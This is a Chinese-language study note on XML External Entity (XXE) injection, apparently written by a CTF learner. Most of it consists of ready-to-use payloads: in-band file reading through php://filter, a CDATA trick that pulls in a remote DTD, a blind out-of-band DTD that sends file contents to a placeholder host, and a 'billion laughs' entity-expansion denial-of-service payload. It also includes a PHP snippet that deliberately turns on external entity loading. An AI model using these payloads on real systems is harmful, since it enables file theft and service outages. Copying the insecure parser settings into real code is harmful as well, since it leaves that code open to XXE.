Xxe

 

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。

利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了)

如何声明一个外部实体

<!ENTITY entity-name SYSTEM "URI/URL">

example:

DTD 实例:

<!ENTITY writer SYSTEM "file:///c:/test.dtd">
<!ENTITY copyright SYSTEM "php://filter/read=convert.base64-encode/recource=index.php">

XML example:

<author>&writer;&copyright;</author>

外部实体两大派别:

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

2.参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用 (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体 (3)和通用实体一样,参数实体也可以外部引用

传统艺能标准玩法:(有回显的xxe)

<?xml version="1.0"?> 
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./sql.php">]>
<root>
 <xxe>&xxe;</xxe>
 <flag>233333</flag>
</root>

case one:

如果被读取文件含有大量<> & 之类的东西

远程开dtd解决此问题

<![CDATA[what you wanna get]]>

<?php
    $xmldata = '<?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///Users/cengsiqi/Desktop/xxe/1.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/1.dtd"> 
    %dtd; ]> 
    
    <roottag>&all;</roottag>';

    libxml_disable_entity_loader (false);
    $dom = new DOMDocument();
    $dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % body SYSTEM "file:///d:/wp.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "file:///d:/key.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%body;%end;">
\\key.dtd

blind xxe:

通过外带书记通道传输数据:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./wp.txt">
<!ENTITY % dtd SYSTEM "file://d:/key.dtd">
%dtd;
%send;
]>

key.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY &#x25; send SYSTEM 'http://balabala/?data=%file;'>"
>

花式玩法:(看了没敢试

“有机会试试看”)

dos攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

递归玩法挤爆内存